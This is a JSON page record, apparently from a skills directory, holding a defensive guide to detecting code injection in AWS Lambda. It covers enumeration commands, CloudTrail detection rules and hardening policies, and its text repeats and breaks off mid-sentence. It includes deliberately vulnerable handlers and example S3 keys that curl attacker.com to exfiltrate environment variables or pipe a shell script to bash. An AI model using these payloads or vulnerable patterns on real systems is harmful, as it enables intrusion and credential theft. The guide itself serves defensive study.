[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6HECD2E4X84CQZ0FPRZCT2Y":3,"skill-same:01M6HECD2E4X84CQZ0FPRZCT2Y":99},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":60,"commitSha":61,"skillDirectory":62,"forksCount":63,"repositoryHtmlUrl":64,"repositoryHomepageUrl":6,"ownerHtmlUrl":65,"ownerBlogUrl":6,"ownerDescription":66,"updatedAt":67,"install":68,"resources":81},"01M6HECD2E4X84CQZ0FPRZCT2Y","detecting-serverless-function-injection",null,"Detects and prevents code injection attacks targeting serverless functions (AWS Lambda, Azure Functions, Google Cloud Functions) through event source poisoning, malicious layer injection, runtime command execution, and IAM privilege escalation...","HenriqueMC17\u002Fagente-core","HenriqueMC17","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F206460478?v=4","01M6HB63HBBF18AC4H09XTB549","Henrique Monteiro Cardoso","01M6HB63NGSQXWKWCFWW2B20W0",1,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fdetecting-serverless-function-injection\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"detecting","serverless","injection","detecting serverless function injection","IAM-escalation","targeting","de","aws lambda","cm","t1078","malicious","OWASP-serverless","event-source-poisoning","Lambda-injection","serverless-security","lambda","iam","code","cybersecurity","google cloud","2026-11-10 10:12:30",false,"---\nname: detecting-serverless-function-injection\ndescription: Detects and prevents code injection attacks targeting serverless functions (AWS Lambda, Azure Functions, Google Cloud Functions) through event source poisoning, malicious layer injection, runtime command execution, and IAM privilege escalation...\ndomain: cybersecurity\nsubdomain: cloud-security\ntags:\n- serverless-security\n- Lambda-injection\n- event-source-poisoning\n- OWASP-serverless\n- IAM-escalation\n- CloudTrail\nversion: 1.0.0\nauthor: mukul975\nlicense: Apache-2.0\nnist_csf:\n- PR.IR-01\n- ID.AM-08\n- GV.SC-06\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059\n- T1648\n- T1078.004\n- T1068\ncategory: detecting-serverless-function-injection\n---\n# Detecting-Serverless-Function-Injection\n\n## Overview\nDetects and prevents code injection attacks targeting serverless functions (AWS Lambda, Azure Functions, Google Cloud Functions) through event source poisoning, malicious layer injection, runtime command execution, and IAM privilege escalation via function modification. The analyst combines static analysis of function code, CloudTrail event correlation, runtime behavior monitoring, and IAM policy auditing to identify injection vectors across the expanded serverless attack surface including API Gateway, S3, SQS, DynamoDB Streams, and CloudWatch event triggers. Activates for requests involving Lambda security assessment, serverless injection detection, function event poisoning analysis, or serverless privilege escalation investigation.\n\n\n# Detecting Serverless Function Injection\n\n## When to Use\n\n- Auditing Lambda\u002FCloud Functions for code injection vulnerabilities where unsanitized event data flows into dangerous runtime functions (`eval`, `exec`, `child_process.exec`, `os.system`)\n- Investigating incidents where an attacker modified function code or layers to establish persistence or exfiltrate data from the serverless environment\n- Detecting privilege escalation paths where an adversary with `lambda:UpdateFunctionCode` and `iam:PassRole` can assume higher-privilege execution roles\n- Analyzing event source poisoning attacks where malicious payloads are injected through S3 object uploads, SQS messages, DynamoDB stream records, or API Gateway requests that trigger function execution\n- Building detection rules for SOC teams monitoring serverless workloads for unauthorized function modifications, layer additions, and suspicious invocation patterns\n\n**Do not use** for load testing or denial-of-service simulation against serverless functions, for testing against production functions processing live customer data without explicit authorization, or for modifying IAM policies in shared accounts without change management approval.\n\n## Prerequisites\n\n- AWS account access with read permissions for Lambda, CloudTrail, IAM, CloudWatch Logs, and EventBridge\n- AWS CLI v2 configured with appropriate credentials and region\n- CloudTrail enabled with Data Events for Lambda (captures `Invoke` events) and Management Events (captures `UpdateFunctionCode`, `UpdateFunctionConfiguration`, `CreateFunction`)\n- Python 3.9+ with `boto3`, `bandit` (Python SAST), and `semgrep` for static analysis\n- Access to function source code or deployment packages for static analysis\n- CloudWatch Logs Insights access for querying Lambda execution logs\n\n## Workflow\n\n### Step 1: Enumerate the Serverless Attack Surface\n\nMap all Lambda functions and their event source triggers to understand injection entry points:\n\n- **List all Lambda functions and their configurations**:\n  ```bash\n  aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler,Layers]' --output table\n  ```\n- **Map event source mappings**: Each event source mapping is a potential injection entry point where untrusted data enters the function:\n  ```bash\n  aws lambda list-event-source-mappings --output json | \\\n    jq '.EventSourceMappings[] | {Function: .FunctionArn, Source: .EventSourceArn, State: .State}'\n  ```\n- **Identify API Gateway triggers**: API Gateway routes pass HTTP request data (headers, query strings, body, path parameters) directly into the Lambda event object:\n  ```bash\n  aws apigateway get-rest-apis --query 'items[*].[id,name]' --output table\n  ```\n  For each API, enumerate resources and methods to identify which Lambda functions receive user-controlled HTTP input.\n- **Identify S3 event triggers**: S3 bucket notifications can trigger Lambda with attacker-controlled object keys and metadata:\n  ```bash\n  aws s3api get-bucket-notification-configuration --bucket \u003Cbucket-name>\n  ```\n- **Catalog function environment variables**: Secrets in environment variables are exposed if an attacker achieves code execution inside the function:\n  ```bash\n  aws lambda get-function-configuration --function-name \u003Cname> \\\n    --query 'Environment.Variables' --output json\n  ```\n- **Identify overprivileged execution roles**: Functions with `*` resource permissions or administrative policies are high-value escalation targets:\n  ```bash\n  aws iam list-attached-role-policies --role-name \u003Clambda-exec-role>\n  aws iam list-role-policies --role-name \u003Clambda-exec-role>\n  ```\n\n### Step 2: Static Analysis for Injection Sinks\n\nScan function code for dangerous patterns that allow injected event data to execute as code or commands:\n\n- **Download function deployment packages**:\n  ```bash\n  aws lambda get-function --function-name \u003Cname> --query 'Code.Location' --output text | xargs curl -o function.zip\n  unzip function.zip -d function_code\u002F\n  ```\n- **Python injection sinks** (Lambda Python runtimes): Search for functions that execute strings as code:\n  ```python\n  # DANGEROUS: Direct eval\u002Fexec of event data\n  eval(event['expression'])           # Code injection via eval\n  exec(event['code'])                 # Arbitrary code execution\n  os.system(event['command'])         # OS command injection\n  subprocess.call(event['cmd'], shell=True)  # Shell injection\n  os.popen(event['input'])            # Command injection\n  pickle.loads(event['data'])         # Deserialization attack\n  yaml.load(event['config'])          # YAML deserialization (unsafe loader)\n  ```\n- **Node.js injection sinks** (Lambda Node.js runtimes):\n  ```javascript\n  \u002F\u002F DANGEROUS: Direct execution of event data\n  eval(event.expression);                    \u002F\u002F Code injection\n  new Function(event.code)();               \u002F\u002F Dynamic function creation\n  child_process.exec(event.command);         \u002F\u002F OS command injection\n  child_process.execSync(event.cmd);         \u002F\u002F Synchronous command injection\n  vm.runInNewContext(event.script);          \u002F\u002F Sandbox escape potential\n  require('child_process').exec(event.input); \u002F\u002F Import-and-execute pattern\n  ```\n- **Run Semgrep with serverless rules**: Use purpose-built rules that detect event data flowing into injection sinks:\n  ```bash\n  semgrep --config \"p\u002Fowasp-top-ten\" --config \"p\u002Fcommand-injection\" \\\n    --config \"p\u002Fpython-security\" function_code\u002F --json --output semgrep_results.json\n  ```\n- **Run Bandit for Python functions**:\n  ```bash\n  bandit -r function_code\u002F -f json -o bandit_results.json \\\n    -t B102,B301,B307,B602,B603,B604,B605,B606,B607\n  ```\n  These test IDs specifically target `exec`, `pickle`, `eval`, `subprocess` with `shell=True`, and other injection-relevant patterns.\n\n- **Custom pattern detection**: Search for indirect injection patterns where event data is concatenated into strings that are later executed:\n  ```python\n  # Indirect injection: event data flows into SQL query string\n  query = f\"SELECT * FROM users WHERE id = '{event['userId']}'\"\n  cursor.execute(query)  # SQL injection\n\n  # Indirect injection: event data flows into template rendering\n  template = event['template']\n  rendered = jinja2.Template(template).render()  # SSTI\n  ```\n\n### Step 3: Detect Event Source Poisoning\n\nAnalyze event sources for injection payloads that exploit how Lambda processes triggers:\n\n- **S3 event key injection**: When a Lambda function processes S3 events, the object key from the event record can contain injection payloads. An attacker uploads an object with a malicious key name:\n  ```python\n  # Vulnerable Lambda handler\n  def handler(event, context):\n      bucket = event['Records'][0]['s3']['bucket']['name']\n      key = event['Records'][0]['s3']['object']['key']\n      # VULNERABLE: key is attacker-controlled\n      os.system(f\"aws s3 cp s3:\u002F\u002F{bucket}\u002F{key} \u002Ftmp\u002Ffile\")\n  ```\n  Attack: Upload an object with key `; curl http:\u002F\u002Fattacker.com\u002Fexfil?data=$(env)` to inject a command through the S3 event.\n\n- **SQS message body injection**: Lambda processes SQS messages where the body contains attacker-controlled data:\n  ```python\n  # Vulnerable Lambda handler\n  def handler(event, context):\n      for record in event['Records']:\n          message = json.loads(record['body'])\n          # VULNERABLE: message content used in eval\n          result = eval(message['formula'])\n  ```\n\n- **API Gateway header\u002Fparameter injection**: HTTP request data passes through API Gateway into the Lambda event:\n  ```python\n  # Vulnerable Lambda handler\n  def handler(event, context):\n      user_agent = event['headers']['User-Agent']\n      # VULNERABLE: header value used in shell command\n      subprocess.run(f\"echo {user_agent} >> \u002Ftmp\u002Faccess.log\", shell=True)\n  ```\n\n- **DynamoDB Stream record injection**: Modified DynamoDB items trigger Lambda with the new record values. If an attacker can write to the table, they control the event data:\n  ```python\n  # Vulnerable Lambda handler\n  def handler(event, context):\n      for record in event['Records']:\n          new_image = record['dynamodb']['NewImage']\n          config = new_image['config']['S']\n          # VULNERABLE: DynamoDB record value used in exec\n          exec(config)\n  ```\n\n- **Detection via CloudWatch Logs Insights**: Query for evidence of injection attempts in function execution logs:\n  ```\n  fields @timestamp, @message\n  | filter @message like \u002F(?i)(eval|exec|os\\.system|child_process|subprocess|import os)\u002F\n  | filter @message like \u002F(?i)(error|exception|traceback|syntax)\u002F\n  | sort @timestamp desc\n  | limit 100\n  ```\n\n### Step 4: Detect Malicious Lambda Layer Injection\n\nIdentify unauthorized Lambda layers that intercept function execution or exfiltrate data:\n\n- **Audit current layer attachments**: List all functions and their layer versions to identify unexpected additions:\n  ```bash\n  aws lambda list-functions --query 'Functions[*].[FunctionName,Layers[*].Arn]' --output json\n  ```\n- **Detect layer modification events in CloudTrail**: Query for `UpdateFunctionConfiguration` events that add or change layers:\n  ```bash\n  aws cloudtrail lookup-events \\\n    --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionConfiguration \\\n    --start-time \"2026-03-12T00:00:00Z\" \\\n    --end-time \"2026-03-19T23:59:59Z\" \\\n    --query 'Events[*].[EventTime,Username,CloudTrailEvent]'\n  ```\n  Parse the `CloudTrailEvent` JSON to check if `Layers` was modified in the request parameters.\n\n- **Analyze layer contents**: Download and inspect layer packages for malicious code:\n  ```bash\n  aws lambda get-layer-version --layer-name \u003Clayer-name> --version-number \u003Cversion> \\\n    --query 'Content.Location' --output text | xargs curl -o layer.zip\n  unzip layer.zip -d layer_contents\u002F\n  # Search for suspicious patterns\n  grep -rn \"urllib\\|requests\\|http\\|socket\\|exfil\\|base64\\|subprocess\" layer_contents\u002F\n  ```\n\n- **Layer hijacking indicators**: A malicious layer can override the function's runtime behavior by placing files in the runtime's search path:\n  - Python: Layer code in `\u002Fopt\u002Fpython\u002F` is imported before the function's own modules\n  - Node.js: Layer code in `\u002Fopt\u002Fnodejs\u002Fnode_modules\u002F` overrides function dependencies\n  - A layer providing a modified `boto3` package can intercept all AWS API calls, log credentials, and forward requests to an attacker-controlled endpoint\n\n- **CloudTrail detection query for layer changes**:\n  ```json\n  {\n    \"source\": [\"aws.lambda\"],\n    \"detail-type\": [\"AWS API Call via CloudTrail\"],\n    \"detail\": {\n      \"eventName\": [\"UpdateFunctionConfiguration20150331v2\", \"PublishLayerVersion20181031\"],\n      \"errorCode\": [{\"exists\": false}]\n    }\n  }\n  ```\n\n### Step 5: Detect IAM Privilege Escalation via Lambda\n\nIdentify escalation paths where attackers modify functions to assume higher-privilege roles:\n\n- **The Lambda privilege escalation pattern**: An attacker with `lambda:UpdateFunctionCode` and `iam:PassRole` permissions can:\n  1. Identify a Lambda function with a high-privilege execution role (e.g., AdministratorAccess)\n  2. Modify the function's code to call `sts:GetCallerIdentity` or perform privileged actions\n  3. Invoke the function, which executes with the high-privilege role\n  4. Exfiltrate the role's temporary credentials from the function's environment variables (`AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN`)\n\n- **Detect UpdateFunctionCode events**: Monitor CloudTrail for function code modifications:\n  ```bash\n  aws cloudtrail lookup-events \\\n    --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode20150331v2 \\\n    --start-time \"2026-03-12T00:00:00Z\" \\\n    --query 'Events[*].[EventTime,Username,Resources[0].ResourceName]' --output table\n  ```\n\n- **Detect PassRole to Lambda**: `iam:PassRole` is required to attach a different execution role to a function. Monitor for this:\n  ```\n  # CloudWatch Logs Insights on CloudTrail logs\n  fields eventTime, userIdentity.arn, requestParameters.functionName, requestParameters.role\n  | filter eventName = \"UpdateFunctionConfiguration20150331v2\"\n  | filter ispresent(requestParameters.role)\n  | sort eventTime desc\n  ```\n\n- **Detect credential exfiltration from Lambda**: A compromised function may call STS or create new IAM entities:\n  ```\n  fields eventTime, userIdentity.arn, eventName, sourceIPAddress\n  | filter userIdentity.arn like \u002F.*:assumed-role\\\u002F.*lambda.*\u002F\n  | filter eventName in [\"GetCallerIdentity\", \"CreateUser\", \"AttachUserPolicy\",\n      \"CreateAccessKey\", \"AssumeRole\", \"PutUserPolicy\"]\n  | sort eventTime desc\n  ```\n\n- **EventBridge rule for real-time alerting**: Create an EventBridge rule to trigger an SNS alert whenever function code is modified:\n  ```json\n  {\n    \"source\": [\"aws.lambda\"],\n    \"detail-type\": [\"AWS API Call via CloudTrail\"],\n    \"detail\": {\n      \"eventName\": [\n        \"UpdateFunctionCode20150331v2\",\n        \"UpdateFunctionConfiguration20150331v2\",\n        \"CreateFunction20150331\"\n      ],\n      \"errorCode\": [{\"exists\": false}]\n    }\n  }\n  ```\n\n### Step 6: Implement Runtime Injection Prevention\n\nDeploy runtime protection controls to prevent injection at execution time:\n\n- **Input validation at handler entry**: Validate and sanitize all event data before processing:\n  ```python\n  import re\n  import json\n  from functools import wraps\n\n  SAFE_PATTERNS = {\n      'userId': re.compile(r'^[a-zA-Z0-9\\-]{1,64}$'),\n      'email': re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$'),\n      'action': re.compile(r'^(get|list|create|update|delete)$'),\n  }\n\n  def validate_event(schema):\n      \"\"\"Decorator that validates Lambda event against a whitelist schema.\"\"\"\n      def decorator(func):\n          @wraps(func)\n          def wrapper(event, context):\n              for field, pattern in schema.items():\n                  value = event.get(field, '')\n                  if isinstance(value, str) and not pattern.match(value):\n                      return {\n                          'statusCode': 400,\n                          'body': json.dumps({'error': f'Invalid {field}'})\n                      }\n              return func(event, context)\n          return wrapper\n      return decorator\n\n  @validate_event(SAFE_PATTERNS)\n  def handler(event, context):\n      # Event data is validated before reaching this point\n      user_id = event['userId']\n      # Safe to use in queries with parameterized statements\n      return {'statusCode': 200, 'body': json.dumps({'user': user_id})}\n  ```\n\n- **Lambda function URL authorization**: Ensure functions exposed via URLs require IAM auth:\n  ```bash\n  aws lambda get-function-url-config --function-name \u003Cname> \\\n    --query 'AuthType' --output text\n  # Must return \"AWS_IAM\", not \"NONE\"\n  ```\n\n- **Least privilege execution roles**: Restrict the function's IAM role to the minimum required permissions:\n  ```json\n  {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n      {\n        \"Effect\": \"Allow\",\n        \"Action\": [\n          \"dynamodb:GetItem\",\n          \"dynamodb:PutItem\"\n        ],\n        \"Resource\": \"arn:aws:dynamodb:us-east-1:111122223333:table\u002FUserTable\"\n      },\n      {\n        \"Effect\": \"Allow\",\n        \"Action\": \"logs:*\",\n        \"Resource\": \"arn:aws:logs:us-east-1:111122223333:log-group:\u002Faws\u002Flambda\u002Fmy-function:*\"\n      }\n    ]\n  }\n  ```\n\n- **SCP to prevent dangerous Lambda modifications**: Apply a Service Control Policy at the organization level to restrict who can modify Lambda functions and pass roles:\n  ```json\n  {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n      {\n        \"Sid\": \"DenyLambdaCodeUpdateExceptCICD\",\n        \"Effect\": \"Deny\",\n        \"Action\": [\n          \"lambda:UpdateFunctionCode\",\n          \"lambda:UpdateFunctionConfiguration\"\n        ],\n        \"Resource\": \"*\",\n        \"Condition\": {\n          \"StringNotLike\": {\n            \"aws:PrincipalArn\": \"arn:aws:iam::*:role\u002FCICD-DeploymentRole\"\n          }\n        }\n      }\n    ]\n  }\n  ```\n\n- **AWS Lambda Powertools for structured logging**: Emit structured security events that can be ingested by SIEM:\n  ```python\n  from aws_lambda_powertools import Logger, Tracer\n  from aws_lambda_powertools.utilities.validation import validate\n\n  logger = Logger(service=\"payment-processor\")\n  tracer = Tracer()\n\n  @logger.inject_lambda_context\n  @tracer.capture_lambda_handler\n  def handler(event, context):\n      logger.info(\"Processing event\", extra={\n          \"source_ip\": event.get('requestContext', {}).get('identity', {}).get('sourceIp'),\n          \"user_agent\": event.get('headers', {}).get('User-Agent'),\n          \"http_method\": event.get('httpMethod'),\n      })\n  ```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Event Source Poisoning** | An attack where malicious data is injected into a serverless event source (S3, SQS, DynamoDB Stream, API Gateway) to trigger code execution or injection when the function processes the event |\n| **Function Injection** | Exploitation of unsanitized event data that flows into dangerous runtime functions (eval, exec, os.system, child_process.exec) within a serverless function handler |\n| **Lambda Layer Hijacking** | An attack where a malicious Lambda layer is attached to a function to intercept execution, override dependencies, or exfiltrate data by placing code in the runtime's module search path |\n| **IAM Privilege Escalation via Lambda** | A technique where an attacker with UpdateFunctionCode and PassRole permissions modifies a function to execute with a higher-privilege IAM role, extracting temporary credentials |\n| **OWASP Serverless Top 10** | A security framework identifying the ten most critical risks in serverless architectures, including injection (SAS-1), broken authentication (SAS-2), and over-privileged functions (SAS-6) |\n| **Cold Start Injection** | An attack that targets the function initialization phase where environment variables, layer code, and extensions execute before the handler, potentially in an unmonitored context |\n| **Execution Role** | The IAM role assumed by a Lambda function during execution, providing temporary credentials that define the function's AWS API access permissions |\n\n## Tools & Systems\n\n- **Semgrep**: Static analysis tool with serverless-specific rule packs that detect event data flowing into injection sinks across Python, Node.js, Java, and Go Lambda runtimes\n- **Bandit**: Python-specific SAST tool that identifies security issues including use of eval, exec, subprocess with shell=True, and pickle deserialization\n- **AWS CloudTrail**: Logs Lambda management events (UpdateFunctionCode, CreateFunction) and data events (Invoke) for detecting unauthorized modifications and anomalous invocation patterns\n- **CloudWatch Logs Insights**: Query engine for searching Lambda execution logs for injection attempt indicators, runtime errors, and suspicious command patterns\n- **AWS Config**: Evaluates Lambda function configurations against compliance rules including layer inventory, execution role permissions, and function URL authorization types\n- **Prowler**: Open-source AWS security assessment tool with Lambda-specific checks for public access, overprivileged roles, and missing encryption\n\n## Common Scenarios\n\n### Scenario: Detecting and Responding to a Lambda-Based Privilege Escalation Attack\n\n**Context**: A SOC analyst receives a GuardDuty alert for `UnauthorizedAccess:IAMUser\u002FInstanceCredentialExfiltration.OutsideAWS` on an IAM role used by multiple Lambda functions. Investigation reveals that an attacker compromised a developer's AWS credentials with `lambda:UpdateFunctionCode` permissions and modified a payment processing function to exfiltrate the execution role's temporary credentials.\n\n**Approach**:\n1. Query CloudTrail for `UpdateFunctionCode` events in the past 7 days to identify when the function was modified and by which principal:\n   ```\n   fields eventTime, userIdentity.arn, requestParameters.functionName, sourceIPAddress\n   | filter eventName = \"UpdateFunctionCode20150331v2\"\n   | filter requestParameters.functionName = \"payment-processor\"\n   | sort eventTime desc\n   ```\n2. Discover that the function was modified from an IP address in an unexpected geographic location at 02:47 UTC, outside of normal deployment windows\n3. Download the modified function code and find an injected snippet that POSTs `os.environ['AWS_ACCESS_KEY_ID']`, `AWS_SECRET_ACCESS_KEY`, and `AWS_SESSION_TOKEN` to an external endpoint on each invocation\n4. Check if the attacker also added a malicious layer by querying for `UpdateFunctionConfiguration` events with layer changes\n5. Verify the function's execution role permissions: the payment-processor role has `dynamodb:*`, `s3:GetObject`, `s3:PutObject`, and `sqs:SendMessage` across all resources, exceeding least privilege\n6. Search CloudTrail for API calls made by the exfiltrated credentials from outside AWS, finding `sts:GetCallerIdentity`, `s3:ListBuckets`, `dynamodb:Scan` on the customer table, and `iam:CreateUser` attempts\n7. Respond by reverting the function code from the last known-good deployment package in the CI\u002FCD artifact store, rotating the execution role's session tokens, and adding an SCP that restricts `lambda:UpdateFunctionCode` to the CI\u002FCD role only\n\n**Pitfalls**:\n- Only checking the function code and missing malicious layers that persist even after the function code is reverted\n- Not searching for lateral movement from the exfiltrated credentials to other AWS services, missing data exfiltration from DynamoDB or S3\n- Failing to check if the attacker created new IAM users, access keys, or roles during the window the credentials were valid\n- Restoring the function without first preserving the malicious code as forensic evidence\n- Not implementing preventive controls (SCP, EventBridge alerting) after remediation, leaving the same attack path open\n\n## Output Format\n\n```\n## Serverless Function Injection Assessment\n\n**Account**: 111122223333\n**Region**: us-east-1\n**Functions Analyzed**: 47\n**Event Source Mappings**: 23\n**Assessment Date**: 2026-03-19\n\n### Critical Findings\n\n#### FINDING-001: OS Command Injection in S3 Event Handler\n**Function**: image-resize-processor\n**Runtime**: python3.12\n**Severity**: Critical (CVSS 9.8)\n**Sink**: os.system() at handler.py:34\n**Source**: event['Records'][0]['s3']['object']['key']\n**Attack Vector**: Upload S3 object with key containing shell metacharacters\n**Proof of Concept**:\n  Object key: `; curl http:\u002F\u002Fattacker.com\u002Fshell.sh | bash`\n  Results in: os.system(\"convert \u002Ftmp\u002F; curl http:\u002F\u002Fattacker.com\u002Fshell.sh | bash\")\n**Remediation**: Replace os.system() with subprocess.run() with shell=False\n  and validate the S3 key against an allowlist pattern.\n\n#### FINDING-002: IAM Privilege Escalation Path\n**Function**: data-export-worker\n**Execution Role**: arn:aws:iam::111122223333:role\u002FDataExportRole\n**Role Permissions**: s3:*, dynamodb:*, iam:PassRole, lambda:*\n**Risk**: Any user with lambda:UpdateFunctionCode can modify this function\n  to execute arbitrary AWS API calls with AdministratorAccess-equivalent permissions.\n**Remediation**: Apply least privilege to the execution role, restrict\n  lambda:UpdateFunctionCode via SCP to CI\u002FCD pipeline role only.\n\n#### FINDING-003: Unauthorized Layer Attached\n**Function**: auth-token-validator\n**Layer**: arn:aws:lambda:us-east-1:999888777666:layer:utility-lib:3\n**Layer Account**: External account (999888777666)\n**Risk**: Layer from untrusted external account can intercept all function\n  invocations, modify responses, or exfiltrate environment variables.\n**Remediation**: Remove the external layer, vendor the dependency into the\n  function's deployment package, add AWS Config rule to block external layers.\n\n### Detection Rules Deployed\n- EventBridge rule: Alert on UpdateFunctionCode from non-CI\u002FCD principals\n- CloudWatch alarm: Function error rate spike > 3x baseline in 5 minutes\n- Config rule: Lambda functions must not have layers from external accounts\n- Config rule: Lambda execution roles must not have wildcard resource permissions\n```\n","# Detecting-Serverless-Function-Injection\n\n## Overview\nDetects and prevents code injection attacks targeting serverless functions (AWS Lambda, Azure Functions, Google Cloud Functions) through event source poisoning, malicious layer injection, runtime command execution, and IAM privilege escalation via function modification. The analyst combines static analysis of function code, CloudTrail event correlation, runtime behavior monitoring, and IAM policy auditing to identify injection vectors across the expanded serverless attack surface including API Gateway, S3, SQS, DynamoDB Streams, and CloudWatch event triggers. Activates for requests involving Lambda security assessment, serverless injection detection, function event poisoning analysis, or serverless privilege escalation investigation.\n\n\n# Detecting Serverless Function Injection\n\n## When to Use\n\n- Auditing Lambda\u002FCloud Functions for code injection vulnerabilities where unsanitized event data flows into dangerous runtime functions (`eval`, `exec`, `child_process.exec`, `os.system`)\n- Investigating incidents where an attacker modified function code or layers to establish persistence or exfiltrate data from the serverless environment\n- Detecting privilege escalation paths where an adversary with `lambda:UpdateFunctionCode` and `iam:PassRole` can assume higher-privilege execution roles\n- Analyzing event source poisoning attacks where malicious payloads are injected through S3 object uploads, SQS messages, DynamoDB stream records, or API Gateway requests that trigger function execution\n- Building detection rules for SOC teams monitoring serverless workloads for unauthorized function modifications, layer additions, and suspicious invocation patterns\n\n**Do not use** for load testing or denial-of-service simulation against serverless functions, for testing against production functions processing live customer data without explicit authorization, or for modifying IAM policies in shared accounts without change management approval.\n\n## Prerequisites\n\n- AWS account access with read permissions for Lambda, CloudTrail, IAM, CloudWatch Logs, and EventBridge\n- AWS CLI v2 configured with appropriate credentials and region\n- CloudTrail enabled with Data Events for Lambda (captures `Invoke` events) and Management Events (captures `UpdateFunctionCode`, `UpdateFunctionConfiguration`, `CreateFunction`)\n- Python 3.9+ with `boto3`, `bandit` (Python SAST), and `semgrep` for static analysis\n- Access to function source code or deployment packages for static analysis\n- CloudWatch Logs Insights access for querying Lambda execution logs\n\n## Workflow\n\n### Step 1: Enumerate the Serverless Attack Surface\n\nMap all Lambda functions and their event source triggers to understand injection entry points:\n\n- **List all Lambda functions and their configurations**:\n  ```bash\n  aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler,Layers]' --output table\n  ```\n- **Map event source mappings**: Each event source mapping is a potential injection entry point where untrusted data enters the function:\n  ```bash\n  aws lambda list-event-source-mappings --output json | \\\n    jq '.EventSourceMappings[] | {Function: .FunctionArn, Source: .EventSourceArn, State: .State}'\n  ```\n- **Identify API Gateway triggers**: API Gateway routes pass HTTP request data (headers, query strings, body, path parameters) directly into the Lambda event object:\n  ```bash\n  aws apigateway get-rest-apis --query 'items[*].[id,name]' --output table\n  ```\n  For each API, enumerate resources and methods to identify which Lambda functions receive user-controlled HTTP input.\n- **Identify S3 event triggers**: S3 bucket notifications can trigger Lambda with attacker-controlled object keys and metadata:\n  ```bash\n  aws s3api get-bucket-notification-configuration --bucket \u003Cbucket-name>\n  ```\n- **Catalog function environment variables**: Secrets in environment variables are exposed if an attacker achieves code execution inside the function:\n  ```bash\n  aws lambda get-function-configuration --function-name \u003Cname> \\\n    --query 'Environment.Variables' --output json\n  ```\n- **Identify overprivileged execution roles**: Functions with `*` resource permissions or administrative policies are high-value escalation targets:\n  ```bash\n  aws iam list-attached-role-policies --role-name \u003Clambda-exec-role>\n  aws iam list-role-policies --role-name \u003Clambda-exec-role>\n  ```\n\n### Step 2: Static Analysis for Injection Sinks\n\nScan function code for dangerous patterns that allow injected event data to execute as code or commands:\n\n- **Download function deployment packages**:\n  ```bash\n  aws lambda get-function --function-name \u003Cname> --query 'Code.Location' --output text | xargs curl -o function.zip\n  unzip function.zip -d function_code\u002F\n  ```\n- **Python injection sinks** (Lambda Python runtimes): Search for functions that execute strings as code:\n  ```python\n  # DANGEROUS: Direct eval\u002Fexec of event data\n  eval(event['expression'])           # Code injection via eval\n  exec(event['code'])                 # Arbitrary code execution\n  os.system(event['command'])         # OS command injection\n  subprocess.call(event['cmd'], shell=True)  # Shell injection\n  os.popen(event['input'])            # Command injection\n  pickle.loads(event['data'])         # Deserialization attack\n  yaml.load(event['config'])          # YAML deserialization (unsafe loader)\n  ```\n- **Node.js injection sinks** (Lambda Node.js runtimes):\n  ```javascript\n  \u002F\u002F DANGEROUS: Direct execution of event data\n  eval(event.expression);                    \u002F\u002F Code injection\n  new Function(event.code)();               \u002F\u002F Dynamic function creation\n  child_process.exec(event.command);         \u002F\u002F OS command injection\n  child_process.execSync(event.cmd);         \u002F\u002F Synchronous command injection\n  vm.runInNewContext(event.script);          \u002F\u002F Sandbox escape potential\n  require('child_process').exec(event.input); \u002F\u002F Import-and-execute pattern\n  ```\n- **Run Semgrep with serverless rules**: Use purpose-built rules that detect event data flowing into injection sinks:\n  ```bash\n  semgrep --config \"p\u002Fowasp-top-ten\" --config \"p\u002Fcommand-injection\" \\\n    --config \"p\u002Fpython-security\" function_code\u002F --json --output semgrep_results.json\n  ```\n- **Run Bandit for Python functions**:\n  ```bash\n  bandit -r function_code\u002F -f json -o bandit_results.json \\\n    -t B102,B301,B307,B602,B603,B604,B605,B606,B607\n  ```\n  These test IDs specifically target `exec`, `pickle`, `eval`, `subprocess` with `shell=True`, and other injection-relevant patterns.\n\n- **Custom pattern detection**: Search for indirect injection patterns where event data is concatenated into strings that are later executed:\n  ```python\n  # Indirect injection: event data flows into SQL query string\n  query = f\"SELECT * FROM users WHERE id = '{event['userId']}'\"\n  cursor.execute(query)  # SQL injection\n\n  # Indirect injection: event data flows into template rendering\n  template = event['template']\n  rendered = jinja2.Template(template).render()  # SSTI\n  ```\n\n### Step 3: Detect Event Source Poisoning\n\nAnalyze event sources for injection payloads that exploit how Lambda processes triggers:\n\n- **S3 event key injection**: When a Lambda function processes S3 events, the object key from the event record can contain injection payloads. An attacker uploads an object with a malicious key name:\n  ```python\n  # Vulnerable Lambda handler\n  def handler(event, context):\n      bucket = event['Records'][0]['s3']['bucket']['name']\n      key = event['Records'][0]['s3']['object']['key']\n      # VULNERABLE: key is attacker-controlled\n      os.system(f\"aws s3 cp s3:\u002F\u002F{bucket}\u002F{key} \u002Ftmp\u002Ffile\")\n  ```\n  Attack: Upload an object with key `; curl http:\u002F\u002Fattacker.com\u002Fexfil?data=$(env)` to inject a command through the S3 event.\n\n- **SQS message body injection**: Lambda processes SQS messages where the body contains attacker-controlled data:\n  ```python\n  # Vulnerable Lambda handler\n  def handler(event, context):\n      for record in event['Records']:\n          message = json.loads(record['body'])\n          # VULNERABLE: message content used in eval\n          result = eval(message['formula'])\n  ```\n\n- **API Gateway header\u002Fparameter injection**: HTTP request data 